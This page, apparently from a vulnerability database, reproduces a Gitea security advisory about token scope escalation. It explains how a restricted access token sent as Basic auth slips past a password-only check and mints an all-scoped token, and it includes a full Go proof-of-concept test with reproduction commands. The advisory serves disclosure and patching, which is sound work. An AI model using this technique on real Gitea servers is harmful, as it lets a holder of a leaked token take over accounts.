GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-683J-3FF6-HH2X

Vulnerability from github – Published: 2026-07-21 20:24 – Updated: 2026-07-21 20:24
VLAI
Summary
Gitea: Privilege Escalation via Access Token Scope Escalation in API
Details

Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic <token>:x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.

Data flow

Step 1 - Token extracted from Basic auth header

When the attacker sends Authorization: Basic base64(:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64

VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106

Step 2 - AuthedMethod is set to "basic", not "access_token"

Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name — "basic" — regardless of whether a password or token was used:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65

Step 3 - IsBasicAuth is incorrectly set to true

AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27

Step 4 - The guard is bypassed

reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401

Step 5 - No scope ceiling in the handler

CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128

Reproducing

tests/integration/api_token_scope_escalation_test.go

package integration

import (
    "net/http"
    "testing"

    auth_model "gitea.dev/models/auth"
    "gitea.dev/models/unittest"
    user_model "gitea.dev/models/user"
    api "gitea.dev/modules/structs"
    "gitea.dev/tests"

    "github.com/stretchr/testify/assert"
    "github.com/stretchr/testify/require"
)

// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
// interconnected vulnerabilities that together allow full scope escalation:
//
//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
//     the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
//     handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
//     even though the credential is a token, not a password.
//
//  2. CreateAccessToken performs no scope-ceiling check — it never verifies that
//     the requested scopes are a subset of the caller's token scopes.
//
// Combined effect: an attacker with a write:user-scoped token can create a new
// token with the "all" scope, gaining full access to the account.
func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
    defer tests.PrepareTestEnv(t)()

    // Non-admin user — escalation is meaningful and not trivially justified.
    user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

    // Step 1 — Obtain a legitimately restricted token via password-based Basic auth.
    // Only write:user scope is granted; repository, admin, etc. are excluded.
    restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
        []auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
    defer deleteAPIAccessToken(t, restrictedToken, user)

    // Confirm the restricted token is blocked from repository-scoped endpoints.
    // This establishes the baseline: write:user does not imply read:repository.
    req := NewRequest(t, "GET", "/api/v1/repos/search").
        AddTokenAuth(restrictedToken.Token)
    MakeRequest(t, req, http.StatusForbidden)

    // Step 2 — Exploit: supply the restricted token as Basic auth credentials.
    // Authorization: Basic base64("<token>:x-oauth-basic")
    //
    // Basic.Verify() validates the token and returns the user. group.Verify() then
    // sets AuthedMethod="basic" (the method name). auth.go maps that to
    // IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
    // password was provided. CreateAccessToken then creates the token with the
    // requested "all" scope without checking whether it exceeds the caller's scope.
    payload := map[string]any{
        "name":   "poc-escalated",
        "scopes": []string{"all"},
    }
    req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
    req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")

    // This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
    // but is currently 201, confirming the vulnerability.
    resp := MakeRequest(t, req, http.StatusCreated)

    escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
    require.NotNil(t, escalatedToken)
    defer deleteAPIAccessToken(t, *escalatedToken, user)

    // Step 3 — The escalated token carries the "all" scope.
    assert.Contains(t, escalatedToken.Scopes, "all",
        "escalated token scope must be 'all'; original token only had write:user")

    // Step 4 — The escalated token can now reach endpoints blocked to the original
    // token, confirming real privilege gain beyond write:user.
    req = NewRequest(t, "GET", "/api/v1/repos/search").
        AddTokenAuth(escalatedToken.Token)
    MakeRequest(t, req, http.StatusOK)
}
git clone https://github.com/go-gitea/gitea
cd gitea
git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e

# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.

go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/

A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:24:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Gitea\u0027s API endpoint for creating Personal Access Tokens (`POST /users/{username}/tokens`) is protected by a middleware (`reqBasicOrRevProxyAuth`) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the `Authorization: Basic \u003ctoken\u003e:x-oauth-basic` format, the Basic auth handler validates it and sets `AuthedMethod=\"basic\"`, causing `IsBasicAuth=true` and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling \u2014 it will create a new token with any requested scope regardless of the caller\u0027s scope. An attacker with a restricted token (e.g. `write:user` from a leaked CI secret) can therefore create a fully-privileged `all`-scoped token without knowing the account password.\n\n### Data flow\n\n#### Step 1 - Token extracted from Basic auth header\n  \nWhen the attacker sends Authorization: Basic base64(\u003ctoken\u003e:x-oauth-basic), parseAuthBasic detects that the password is \"x-oauth-basic\" and treats the username field as the token:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64\n\n`VerifyAuthToken` then validates the token against the database and sets `LoginMethod = \"access_token\"` and `ApiTokenScope` to the token\u0027s actual scope (`write:user`):\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106\n\n#### Step 2 - `AuthedMethod` is set to `\"basic\"`, not `\"access_token\"`\n\n`Basic.Verify()` returns the user successfully, so `group.Verify()` sets `AuthedMethod` to the method\u0027s name \u2014 `\"basic\"` \u2014 regardless of whether a password or token was used:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65\n\n#### Step 3 - `IsBasicAuth` is incorrectly set to true\n\n`AuthShared` computes `IsBasicAuth` by comparing `AuthedMethod` against the constant `\"basic\"`. Since step 2 set that field to \"basic\" for a token-authenticated request, the flag is wrong:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27\n\n#### Step 4 - The guard is bypassed\n\n`reqBasicOrRevProxyAuth` checks only `ctx.IsBasicAuth`. Because that flag is `true`, the middleware passes and the request reaches `CreateAccessToken`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401\n\n#### Step 5 - No scope ceiling in the handler\n\n`CreateAccessToken` normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of `ApiTokenScope (write:user)`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128\n\n### Reproducing\n\n`tests/integration/api_token_scope_escalation_test.go`\n```go\npackage integration\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\t\"gitea.dev/models/unittest\"\n\tuser_model \"gitea.dev/models/user\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two\n// interconnected vulnerabilities that together allow full scope escalation:\n//\n//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in\n//     the Authorization: Basic \"\u003ctoken\u003e:x-oauth-basic\" format. The Basic auth\n//     handler sets AuthedMethod=\"basic\" (the method name), so IsBasicAuth=true\n//     even though the credential is a token, not a password.\n//\n//  2. CreateAccessToken performs no scope-ceiling check \u2014 it never verifies that\n//     the requested scopes are a subset of the caller\u0027s token scopes.\n//\n// Combined effect: an attacker with a write:user-scoped token can create a new\n// token with the \"all\" scope, gaining full access to the account.\nfunc TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Non-admin user \u2014 escalation is meaningful and not trivially justified.\n\tuser := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{ID: 2})\n\n\t// Step 1 \u2014 Obtain a legitimately restricted token via password-based Basic auth.\n\t// Only write:user scope is granted; repository, admin, etc. are excluded.\n\trestrictedToken := createAPIAccessTokenWithoutCleanUp(t, \"poc-restricted\", user,\n\t\t[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})\n\tdefer deleteAPIAccessToken(t, restrictedToken, user)\n\n\t// Confirm the restricted token is blocked from repository-scoped endpoints.\n\t// This establishes the baseline: write:user does not imply read:repository.\n\treq := NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(restrictedToken.Token)\n\tMakeRequest(t, req, http.StatusForbidden)\n\n\t// Step 2 \u2014 Exploit: supply the restricted token as Basic auth credentials.\n\t// Authorization: Basic base64(\"\u003ctoken\u003e:x-oauth-basic\")\n\t//\n\t// Basic.Verify() validates the token and returns the user. group.Verify() then\n\t// sets AuthedMethod=\"basic\" (the method name). auth.go maps that to\n\t// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no\n\t// password was provided. CreateAccessToken then creates the token with the\n\t// requested \"all\" scope without checking whether it exceeds the caller\u0027s scope.\n\tpayload := map[string]any{\n\t\t\"name\":   \"poc-escalated\",\n\t\t\"scopes\": []string{\"all\"},\n\t}\n\treq = NewRequestWithJSON(t, \"POST\", \"/api/v1/users/\"+user.LoginName+\"/tokens\", payload)\n\treq.SetBasicAuth(restrictedToken.Token, \"x-oauth-basic\")\n\n\t// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)\n\t// but is currently 201, confirming the vulnerability.\n\tresp := MakeRequest(t, req, http.StatusCreated)\n\n\tescalatedToken := DecodeJSON(t, resp, \u0026api.AccessToken{})\n\trequire.NotNil(t, escalatedToken)\n\tdefer deleteAPIAccessToken(t, *escalatedToken, user)\n\n\t// Step 3 \u2014 The escalated token carries the \"all\" scope.\n\tassert.Contains(t, escalatedToken.Scopes, \"all\",\n\t\t\"escalated token scope must be \u0027all\u0027; original token only had write:user\")\n\n\t// Step 4 \u2014 The escalated token can now reach endpoints blocked to the original\n\t// token, confirming real privilege gain beyond write:user.\n\treq = NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(escalatedToken.Token)\n\tMakeRequest(t, req, http.StatusOK)\n}\n```\n\n```bash\ngit clone https://github.com/go-gitea/gitea\ncd gitea\ngit checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e\n\n# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.\n\ngo test -run \u0027^TestAPIPrivilegeEscalationViaBasicAuthToken$\u0027 ./tests/integration/\n```\n\nA passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.",
  "id": "GHSA-683j-3ff6-hh2x",
  "modified": "2026-07-21T20:24:26Z",
  "published": "2026-07-21T20:24:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: Privilege Escalation via Access Token Scope Escalation in API"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…